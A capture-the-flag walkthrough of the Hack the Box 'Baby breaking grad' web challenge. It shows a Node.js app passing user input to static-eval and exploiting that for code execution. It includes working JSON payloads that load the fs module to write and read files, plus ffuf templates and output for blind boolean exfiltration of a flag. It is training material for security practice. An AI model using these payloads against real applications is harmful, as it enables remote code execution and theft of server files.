Baby breaking grad walkthrough - Hack the Box Web Challenge
→ 1 Introduction
This walkthrough covers the “Baby breaking grad” challenge in the Hack the Box Web challenge category, which was rated as having an ‘easy’ difficulty. This challenge is a white box web application assessment, as the application source code was downloadable, including build scripts for building and deploying the application locally as a Docker container. The challenge was ‘Retired’ at the time of my attempt.
The description of the challenge is shown below.
The challenge was released on approximately Nov 19, 2020:
$ python3 -c 'from datetime import datetime,timedelta; print((datetime.now() - timedelta(days=894)).strftime("%c"))'
Thu Nov 19 19:18:13 2020
The key techniques employed in this walkthrough are:
- manual source code review
- exploiting static-eval to achieve remote code execution (RCE)
- blind exfiltration of data via conditional responses1
→ 2 Artifact hash verification
The hash of the downloaded artifact was verified as follows:
$ cat 'baby breaking grad.zip.sha256'
efb67d56e915553db17f98ff24572583507e1e7b1409e9806eeeba086d74c945 *baby breaking grad.zip
$ shasum -a256 -c baby\ breaking\ grad.zip.sha256
baby breaking grad.zip: OK
→ 3 Deploying the application locally
To facilitate local testing, the application was first deployed2 locally in a VM (Virtual Machine)3:
sudo ./build_docker.sh
→ 4 Mapping the application
→ 4.1 Mapping the application via interaction
-
The target website was opened in the Burp browser, which displayed a “Grade Portal”
-
The “Did I pass?” button was clicked, resulting in a message of “no0ooo00ooope” being displayed
The underlying Burp request initiated when the button was clicked was a POST to
/api/calculate
with a JSON request containing a singlename
field and a JSON response containing a singlepass
field:
→ 4.2 Mapping the application via source code review
To support the interactive mapping and to easily discover hidden endpoints, further mapping of the application was conducted via source code review.
-
From the Dockerfile, the following was observed
-
A
node
base image is used and therefore the application is likely implemented in nodejs -
The challenge is installed in
/app
and theroot
user owns the top level directory, whilst thenobody
user owns the files within/app
-
npm
dependencies are installed -
The Docker container runs the
entrypoint.sh
shell script with the arguments["/usr/bin/supervisord", "-c", "/etc/supervisord.conf"]
-
-
In
entrypoint.sh
-
The flag file is copied to a random filename of
/app/flag$FLAG
, where$FLAG
is a random alphanumeric string of 5 characters length -
The final step is to execute the arguments passed to the script, namely the
/usr/bin/supervisord
invocation. supervisord is a “client/server system that allows its users to monitor and control a number of processes on UNIX-like operating systems”.
-
-
config/supervisord.conf
indicates there is a single process running,program:express
on line 7, which is the nodejs Express web application executed with a command line ofnode /app/index.js
-
challenge/index.js
, which was previously seen to be copied to/app/index.js
in the Docker container, is an Express web application with routes imported fromroutes.js
on lines 4 and 11, and a JSON body parser installed on line 7.const express = require('express'); const app = express(); const bodyParser = require('body-parser'); const routes = require('./routes'); const path = require('path'); app.use(bodyParser.json()); app.set('views','./views'); app.use('/static', express.static(path.resolve('static'))); app.use(routes); app.all('*', (req, res) => { return res.status(404).send('404 page not found'); }); app.listen(1337, () => console.log('Listening on port 1337'));
-
challenge/routes/index.js
defines the/api/calculate
route as follows. A student object is obtained from the request body JSON on line 12 and the conditional expression on line 22 is delegated toStudentHelper
. Based on the conditional expression, the response is JSON containing a singlepass
field with a value of either “Passed” or else a semi random string based on the string “nope”.router.post('/api/calculate', (req, res) => { let student = req.body; if (student.name === undefined) { return res.send({ error: 'Specify student name' }) } let formula = student.formula || '[0.20 * assignment + 0.25 * exam + 0.25 * paper]'; if (StudentHelper.isDumb(student.name) || !StudentHelper.hasPassed(student, formula)) { return res.send({ 'pass': 'n' + randomize('?', 10, {chars: 'o0'}) + 'pe' }); } return res.send({ 'pass': 'Passed' }); });
→ 5 Vulnerability analysis - RCE (remote code execution) vulnerability
→ 5.1 Manual source code review
challenge/helpers/StudentHelper.js
exports the
hasPassed
function, which builds an Abstract Syntax Tree
(AST) using the esprima module and
evaluates the expression using the static-eval
module.
const evaluate = require('static-eval');
const parse = require('esprima').parse;
module.exports = {
isDumb(name){
return (name.includes('Baker') || name.includes('Purvis'));
},
hasPassed({ exam, paper, assignment }, formula) {
let ast = parse(formula).body[0].expression;
let weight = evaluate(ast, { exam, paper, assignment });
return parseFloat(weight) >= parseFloat(10.5);
}
};
The static-eval module npm listing contains the following security warning:
static-eval is like eval. It is intended for use in build scripts and code transformations, doing some evaluation at build time—it is NOT suitable for handling arbitrary untrusted user input. Malicious user input can execute arbitrary code.
Crucially, the formula
field that is parsed and
evaluated in StudentHelper.js
is attacker controllable, as
it is passed down from the JSON request body submitted to
/api/calculate
. Thus, it appears that an RCE (remote code
execution) vulnerability exists.
Searching the web for “static-eval rce” leads to a link for CVE-2021-23334 - Withdrawn: Arbitrary Code Execution in static-eval. The fact the CVE has been withdrawn is discouraging. However, the details of the advisory indicate two things:
-
the CVE was withdrawn because the behavior is by design and not strictly a vulnerability
-
Snyk has provided a PoC (Proof-of-Concept):
Aside: in this instance, I forgot to notice that the above PoC was
published in 2021, whereas the challenge was created in 2020. As such,
the exact payload I used was likely not the intended payload. However,
due to the design of static-eval
and how it is used in the
application, I expect that exploitation of static-eval
was
still the intention, just with a potentially different expression.
→ 5.2 Confirming the RCE vulnerability
The following payload was created to write the text ‘pwned’ to
/app/static/pwned
$ cat payload_write_static_file.json
{"name":"smart kid", "exam": 100, "paper": 100, "assignment": 100, "formula": "(function (x) { return `${eval(\"console.log(global.process.mainModule.constructor._load('fs').writeFileSync('/app/static/pwned', 'pwned'))\")}` })()"}
The payload was delivered using curl
$ curl --proxy 127.0.0.1:8080 -k -X POST http://127.0.0.1:1337/api/calculate --json "@payload_write_static_file.json"
{"pass":"noo0o00000ope"}
The static file was retrieved, indicating remote code execution had been achieved
$ curl --proxy 127.0.0.1:8080 -k http://127.0.0.1:1337/static/pwned
pwned
However, execution against the remote target resulted in a permission
denied error when attempting to open /app/static/pwned
. I
don’t know why there is a difference between the remote target and the
local Docker container - the whole point of Docker is to ensure
portability. However, it is possible the code actually deployed is
different to the downloaded code. In any case, the error message still
confirms the RCE vulnerability, as the code was actually executed.
$ curl --proxy 127.0.0.1:8080 -k -X POST http://161.35.40.57:31865/api/calculate --json "@payload_write_static_file_with_ls_app.json"
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Error: EACCES: permission denied, open '/app/static/pwned'<br> at Object.openSync (fs.js:458:3)<br> at Object.writeFileSync (fs.js:1355:35)<br> at eval (eval at <anonymous> (eval at walk (/app/node_modules/static-eval/index.js:153:20)), <anonymous>:1:63)<br> at eval (eval at walk (/app/node_modules/static-eval/index.js:153:20), <anonymous>:2:16)<br> at walk (/app/node_modules/static-eval/index.js:96:27)<br> at module.exports (/app/node_modules/static-eval/index.js:175:7)<br> at Object.hasPassed (/app/helpers/StudentHelper.js:11:22)<br> at /app/routes/index.js:22:62<br> at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)<br> at next (/app/node_modules/express/lib/router/route.js:137:13)</pre>
</body>
</html>
enumeration
→ 6 Exploitation
Given the /api/calculate
route never returns the actual
output of the RCE, I decided to employ a blind injection attack to
exfiltrate the following pieces of information separately:
- the name of the flag file
- the length of the flag
- the actual flag
What I missed was a simpler approach where a single payload could have been used to exfiltrate the flag in the error messages, as I later found in Hilbert’s writeup. As happens sometimes, I think a thought about error messages did flit through my mind but for whatever reason, my brain more readily latched onto the blind injection approach, potentially because I had recently been using blind SQL injection in an unrelated challenge. In this instance, I should have taken a step back, reassessed the steps I’d already taken and perhaps then I would have seen the obvious.
In any case, the approach I took has the characteristic that it would still be effective against the target in the event that verbose error messages were not returned by the server and is, hence, a somewhat more general technique. Furthermore, the fact that multiple techniques can be used is not unusual in offensive security.
→ 6.1 Exfiltrating the flag file name
The following request template was defined, containing fuzzing
placeholders INDEX
and LETTER
. The expression
in the formula
finds all files in the /app
directory starting with “flag”, then tests if the character at index
INDEX
equals a given letter, LETTER
. If it
does, the expression evaluates to 1000, otherwise it evaluates to 0.
Based on the code in challenge/routes/index.js
and
StudentHelper.js
, the value of 1000 will result in “Passed”
being returned to the client, whereas a value of 0 would result in the
negative response.
As an aside, setting the exam, paper and assignment fields is unnecessary and a remnant of previous (unshown) requests I used to reinforce my understanding of the code base and to confirm the target behavior matched the source code.
$ cat request.txt
POST /api/calculate HTTP/1.1
Host: 127.0.0.1:1337
User-Agent: curl/7.88.1
Content-Type: application/json
Accept: application/json
Content-Length: 289
Connection: close
{"name":"smart kid", "exam": 101, "paper": 100, "assignment": 100, "formula": "(function (x) { return `${eval(\"if (global.process.mainModule.constructor._load('fs').readdirSync('/app').find(file => file.startsWith('flag'))[INDEX] == 'LETTER') { 1000; } else { 0; }\")}` })()"}
Wordlists for INDEX
and LETTER
were
created:
-
flag_file_char_index_wordlist.txt
contained indices 4-8$ cat flag_file_char_index_wordlist.txt 4 5 6 7 8
-
flag_file_name_valid_chars.txt
contained the alphanumeric characters, one per line
The request was submitted to the target using ffuf
to
substitute values for the INDEX
and LETTER
placeholders and with the -mr
option configured to
positively match responses which contain the text “Passed”. The results
indicated the flag file name was /app/flagjpYan
.
CAUTION: ffuf
defaults to 40 concurrent
threads, which will be overly aggressive for some real world targets but
was not expected to be an issue for the Hack the Box, per-user docker
instance.
└─$ ffuf -request request.txt -u http://188.166.144.53:30356/api/calculate -w flag_file_char_index_wordlist.txt:INDEX -w flag_file_name_valid_chars.txt:LETTER -mr 'Passed'
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.0.0-dev
________________________________________________
:: Method : POST
:: URL : http://188.166.144.53:30356/api/calculate
:: Wordlist : INDEX: /home/kali/flag_file_char_index_wordlist.txt
:: Wordlist : LETTER: /home/kali/flag_file_name_valid_chars.txt
:: Header : Host: 127.0.0.1:1337
:: Header : User-Agent: curl/7.88.1
:: Header : Content-Type: application/json
:: Header : Accept: application/json
:: Header : Connection: close
:: Data : {"name":"smart kid", "exam": 101, "paper": 100, "assignment": 100, "formula": "(function (x) { return `${eval(\"if (global.process.mainModule.constructor._load('fs').readdirSync('/app').find(file => file.startsWith('flag'))[INDEX] == 'LETTER') { 1000; } else { 0; }\")}` })()"}
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Regexp: Passed
________________________________________________
[Status: 200, Size: 17, Words: 1, Lines: 1, Duration: 245ms]
* INDEX: 6
* LETTER: Y
[Status: 200, Size: 17, Words: 1, Lines: 1, Duration: 233ms]
* INDEX: 7
* LETTER: a
[Status: 200, Size: 17, Words: 1, Lines: 1, Duration: 234ms]
* INDEX: 4
* LETTER: j
[Status: 200, Size: 17, Words: 1, Lines: 1, Duration: 244ms]
* INDEX: 8
* LETTER: n
[Status: 200, Size: 17, Words: 1, Lines: 1, Duration: 230ms]
* INDEX: 5
* LETTER: p
:: Progress: [310/310] :: Job [1/1] :: 84 req/sec :: Duration: [0:00:03] :: Errors: 0 ::
→ 6.2 Exfiltrating the (base64 encoded) flag length
The following request template was defined, containing fuzzing
placeholders FLAGFILE
and LENGTH
. The
expression in the formula
reads the FLAGFILE
,
converts the contents to base644 encoding and tests if
the length equals LENGTH
. If it does, the expression
evaluates to 1000, otherwise it evaluates to 0.
$ cat request_blind_exfil_base64_flag_length.txt
POST /api/calculate HTTP/1.1
Host: 127.0.0.1:1337
User-Agent: curl/7.88.1
Content-Type: application/json
Accept: application/json
Content-Length: 289
Connection: close
{"name":"smart kid", "exam": 101, "paper": 100, "assignment": 100, "formula": "(function (x) { return `${eval(\"if (global.process.mainModule.constructor._load('fs').readFileSync('FLAGFILE').toString('base64').length == LENGTH) { 1000; } else { 0; }\")}` })()"}
Wordlists for FLAGFILE
and LENGTH
were
created:
-
flag_filename.txt
simply contained the flag file name from the previous step:/app/flagjpYan
-
flag_base64_length_wordlist.txt
was generated to contain lengths from 0 to 200:$ seq 0 200 > flag_base64_length_wordlist.txt
The request was submitted to the target using ffuf
to
substitute values for the FLAGFILE
and LENGTH
placeholders and with the -mr
option configured to
positively match responses which contain the text “Passed”. The results
indicated the base64 encoded flag is 92 characters long.
└─$ ffuf -request request_blind_exfil_base64_flag_length.txt -u http://188.166.144.53:30356/api/calculate -w flag_filename.txt:FLAGFILE -w flag_base64_length_wordlist.txt:LENGTH -mr 'Passed' -o remote_base64_flag_length_ffuf.txt
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.0.0-dev
________________________________________________
:: Method : POST
:: URL : http://188.166.144.53:30356/api/calculate
:: Wordlist : FLAGFILE: /home/kali/htb-baby-breaking-grad/flag_filename.txt
:: Wordlist : LENGTH: /home/kali/htb-baby-breaking-grad/flag_base64_length_wordlist.txt
:: Header : Connection: close
:: Header : Host: 127.0.0.1:1337
:: Header : User-Agent: curl/7.88.1
:: Header : Content-Type: application/json
:: Header : Accept: application/json
:: Data : {"name":"smart kid", "exam": 101, "paper": 100, "assignment": 100, "formula": "(function (x) { return `${eval(\"if (global.process.mainModule.constructor._load('fs').readFileSync('FLAGFILE').toString('base64').length == LENGTH) { 1000; } else { 0; }\")}` })()"}
:: Output file : remote_base64_flag_length_ffuf.txt
:: File format : json
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Regexp: Passed
________________________________________________
[Status: 200, Size: 17, Words: 1, Lines: 1, Duration: 229ms]
* FLAGFILE: /app/flagjpYan
* LENGTH: 92
:: Progress: [201/201] :: Job [1/1] :: 85 req/sec :: Duration: [0:00:02] :: Errors: 0 ::
→ 6.3 Exfiltrating the (base64 encoded) flag
The following request template was defined, containing fuzzing
placeholders FLAGFILE
, INDEX
and
LETTER
. The expression in the formula
reads
the FLAGFILE
, converts the contents to base64, then tests
if the character at index INDEX
equals a given letter,
LETTER
. If it does, the expression evaluates to 1000,
otherwise it evaluates to 0.
$ cat request_blind_exfil_base64_flag.txt
POST /api/calculate HTTP/1.1
Host: 127.0.0.1:1337
User-Agent: curl/7.88.1
Content-Type: application/json
Accept: application/json
Content-Length: 289
Connection: close
{"name":"smart kid", "exam": 101, "paper": 100, "assignment": 100, "formula": "(function (x) { return `${eval(\"if (global.process.mainModule.constructor._load('fs').readFileSync('FLAGFILE').toString('base64')[INDEX] === 'LETTER') { 1000; } else { 0; }\")}` })()"}
Wordlists for FLAGFILE
, INDEX
and
LETTER
were created:
-
flag_filename.txt
was the same as before -
flag_base64_char_index_wordlist.txt
was generated to contain character indices from 0 to 925└─$ seq 0 92 > flag_base64_char_index_wordlist.txt
-
base64-chars.txt
contained all valid base64 encoding characters, one per line.
The request was submitted to the target using ffuf
to
substitute values for the FLAGFILE
, INDEX
and
LETTER
placeholders and with the -mr
option
configured to positively match responses which contain the text
“Passed”, with the ffuf
JSON results output to
remote_flag_base64_ffuf.txt
$ ffuf -request request_blind_exfil_base64_flag.txt -u http://188.166.144.53:30356/api/calculate -w flag_filename.txt:FLAGFILE -w flag_base64_char_index_wordlist.txt:INDEX -w base64-chars.txt:LETTER -mr 'Passed' -o remote_flag_base64_ffuf.txt
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.0.0-dev
________________________________________________
:: Method : POST
:: URL : http://188.166.144.53:30356/api/calculate
:: Wordlist : FLAGFILE: /home/kali/htb-baby-breaking-grad/flag_filename.txt
:: Wordlist : INDEX: /home/kali/htb-baby-breaking-grad/flag_base64_char_index_wordlist.txt
:: Wordlist : LETTER: /home/kali/htb-baby-breaking-grad/base64-chars.txt
:: Header : Host: 127.0.0.1:1337
:: Header : User-Agent: curl/7.88.1
:: Header : Content-Type: application/json
:: Header : Accept: application/json
:: Header : Connection: close
:: Data : {"name":"smart kid", "exam": 101, "paper": 100, "assignment": 100, "formula": "(function (x) { return `${eval(\"if (global.process.mainModule.constructor._load('fs').readFileSync('FLAGFILE').toString('base64')[INDE
X] === 'LETTER') { 1000; } else { 0; }\")}` })()"}
:: Output file : remote_flag_base64_ffuf.txt
:: File format : json
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Regexp: Passed
________________________________________________
[Status: 200, Size: 17, Words: 1, Lines: 1, Duration: 259ms]
* FLAGFILE: /app/flagjpYan
* INDEX: 23
* LETTER: 0
[Status: 200, Size: 17, Words: 1, Lines: 1, Duration: 246ms]
* FLAGFILE: /app/flagjpYan
* INDEX: 90
* LETTER: 0
...
[Status: 200, Size: 17, Words: 1, Lines: 1, Duration: 228ms]
* FLAGFILE: /app/flagjpYan
* INDEX: 75
* LETTER: z
[Status: 200, Size: 17, Words: 1, Lines: 1, Duration: 237ms]
* FLAGFILE: /app/flagjpYan
* INDEX: 91
* LETTER: =
:: Progress: [5952/5952] :: Job [1/1] :: 84 req/sec :: Duration: [0:01:10] :: Errors: 0 ::
The structure of the results was examined using jq. For our purposes, the key
fields of interest are .input.INDEX
and
.input.LETTER
on lines 6-7 and 26-27, except that they are
out of order in the results due to the multithreaded nature of
ffuf
.
$ jq '.results' remote_flag_base64_ffuf.txt|head -30
[
{
"input": {
"FFUFHASH": "5f7d318",
"FLAGFILE": "/app/flagjpYan",
"INDEX": "23",
"LETTER": "0"
},
"position": 24,
"status": 200,
"length": 17,
"words": 1,
"lines": 1,
"content-type": "application/json; charset=utf-8",
"redirectlocation": "",
"scraper": {},
"duration": 259205245,
"resultfile": "",
"url": "http://188.166.144.53:30356/api/calculate",
"host": "127.0.0.1:1337"
},
{
"input": {
"FFUFHASH": "5f7d35b",
"FLAGFILE": "/app/flagjpYan",
"INDEX": "90",
"LETTER": "0"
},
"position": 91,
"status": 200,
The results were sorted by index, numerically:
$ jq '.results|sort_by(.input.INDEX|tonumber)' remote_flag_base64_ffuf.txt|head -30
[
{
"input": {
"FFUFHASH": "5f7d3a2d",
"FLAGFILE": "/app/flagjpYan",
"INDEX": "0",
"LETTER": "S"
},
"position": 2605,
"status": 200,
"length": 17,
"words": 1,
"lines": 1,
"content-type": "application/json; charset=utf-8",
"redirectlocation": "",
"scraper": {},
"duration": 236151007,
"resultfile": "",
"url": "http://188.166.144.53:30356/api/calculate",
"host": "127.0.0.1:1337"
},
{
"input": {
"FFUFHASH": "5f7d3575",
"FLAGFILE": "/app/flagjpYan",
"INDEX": "1",
"LETTER": "F"
},
"position": 1397,
"status": 200,
Next, all letters were extracted, which should yield the correct ordering of characters in the base64 encoded flag:
$ jq '.results|sort_by(.input.INDEX|tonumber)' remote_flag_base64_ffuf.txt|grep LETTER|head
"LETTER": "S"
"LETTER": "F"
"LETTER": "R"
"LETTER": "C"
"LETTER": "e"
"LETTER": "2"
"LETTER": "Y"
"LETTER": "z"
"LETTER": "M"
"LETTER": "2"
The results were stripped of the ‘“LETTER”:’ string:
$ jq '.results|sort_by(.input.INDEX|tonumber)' remote_flag_base64_ffuf.txt|grep LETTER | sed -E -e 's/.*: //' |head
"S"
"F"
"R"
"C"
"e"
"2"
"Y"
"z"
"M"
"2"
The quotes and new lines were deleted, resulting in the base64 encoded flag:
$ jq '.results|sort_by(.input.INDEX|tonumber)' remote_flag_base64_ffuf.txt|grep LETTER | sed -E -e 's/.*: //' |tr -d '"\n'
SFRCe...REDACTED...hIX0=
Finally, the result was base64 decoded to obtain the flag:
└─$ jq '.results|sort_by(.input.INDEX|tonumber)' remote_flag_base64_ffuf.txt|grep LETTER | sed -E -e 's/.*: //' |tr -d '"\n'|base64 -d
HTB{f33...REDACTED...l!!}
→ 7 Conclusion
The flag was submitted and the challenge was marked as pwned